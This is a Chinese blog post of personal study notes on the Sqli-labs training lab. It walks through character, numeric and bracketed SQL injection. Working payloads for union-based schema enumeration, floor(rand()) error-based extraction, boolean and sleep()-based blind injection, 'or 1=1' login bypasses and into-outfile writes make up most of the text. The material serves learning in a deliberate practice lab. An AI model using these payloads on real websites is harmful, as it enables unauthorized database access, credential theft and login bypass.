千家信息网

Sqli labs学习笔记

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,Lesson01:字符型注入地址栏加上 ?id=5' and '1'='1 测试通过地址栏加上 ?id=5' (此处可加上恶意sql语句)--+ 测试通过(注释的方法)Lesson02:数字型注入id
千家信息网最后更新 2024年09月22日Sqli labs学习笔记

Lesson01:

字符型注入

地址栏加上 ?id=5' and '1'='1 测试通过

地址栏加上 ?id=5' (此处可加上恶意sql语句)--+ 测试通过(注释的方法)

Lesson02:

数字型注入

id=5-2 返回和 id=3一样的结果,说明是数字型的注入

id=2 (此处可加上恶意sql语句) --+


PS: 有的sql查询语句会在后边加上limit(0,1),只返回第一条有效的查询结果,在这里我们可以通过设置前一个正常的id的值无效,来使得最终结果来返回我们构造的语句的返回值。


Lesson03:

id=5 and 1=1
id=5 and 1=2 没有什么变化

id=3'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1


说明原来的sql的语句中有 ) , 闭合的方法是再添加一个)

利用: 1. id=1') and ('1'='1

2. id=1') sql语句 --+


Lesson04:

基于双引号的字符型查询,和lesson03差不多


1.order by 查询字段数

2. database() 查询当前数据库名字

3.user() 当前用户

4. information_schema.tables 存放所有的表名 (mysql)

5.union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+

这个是查询数据库里边有哪些表,使用limit语句来显示返回第几个查询结果


6. union select 1,column_name,3 from information_schema.columns where table_name='users' limit 2,1 --+ 查询users表中,各个列的名字(字段名)


7.union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema="security" --+

也可以这样,使用group_concat(column_name)来返回所有的字段名



Lesson05&06:

基于错误的注入:

and ( select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b)--+


rand() 获取0-1之间的一个浮点随机数

floor() 取地板操作

group by 根据...分组

concat() 字符串连接

count() 计数函数

1.

(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a

这个表示给查询结果(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))

取一个别名a

2.

(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b

这个表示给查询结果(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)取一个别名b

3.

and ( select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

这一句就可以查询出数据表的名字....



lesson07:
select * from Table into outfile '/路径/文件名'



Lesson08:

基于bool的盲注:


substr(String , int x, int y) 把字符串从x到y截取下来

ascii( char ) 返回assic码值


Lesson09&10:

基于时间的盲注: 根据一些时间函数,来自控制结果的返回时间,以此来判断自己的推断是不是正确的,由于web界面的返回值始终是true,只能通过时间差来判断。

sleep(n) 进程挂起n秒

if(1,2,3) 如果1则2,否则3

and (select if(assic(substr(database(),1,1)) , sleep(5),NULL) ) --+



Lesson11&12:

get post 注入

常用的"万能密码": ' or 1=1 -- -

') or 1=1

'or'='or'

登录: ' or 1=1 limit 0,1 # 密码随便输入就行

但是使用 --+ 来注释的时候不知道为啥 密码必须是 ' or 1=1


lesson12 就是 ("input") 这种类型的



Lesson13&14:

基于错误的注入:

lesson13 ') 注入语句#

mysql常见的系统函数及变量:

user() 用户名 session_user() 连接数据库的用户名 database()数据库名 vsersion()版本

curren_user 当前用户名 @@hostname主机名 @@port 端口 @@datadir 数据库路径

@@basedir 安装路径 @@vsersion_compile_os 操作系统


Lesson15:

1' or 盲注


Lesson16:

盲注(时间)

1") or sleep(1)

1") or sleep(1)=0 (因为sleep函数的返回值是0)使用or的时候要注意





















1.
select username,password from tables where id='input' limit 0,1
' and 1=1 --+


2.
select username,password from tables where id=input limit 0,1



3.
select username,password from tables where id=('input') limit 0,1


4.
select username,password from tables where id=("input") limit 0,1

5.
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b )--+


6.
1" --+

9.
?id=2' and sleep(5)--+

10.
?id=2" and sleep(5)--+
?id=2" and if(database()='security',sleep(5),NULL)--+


11.
uname=ain' union select 1,database() -- -&passwd=admin&submit=Submit


13.
输入的类型是('input')
uname=') and (select 1 from (select count(*),concat(0x3a,0x3a,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b ) -- -&passwd=admin&submit=Submit

0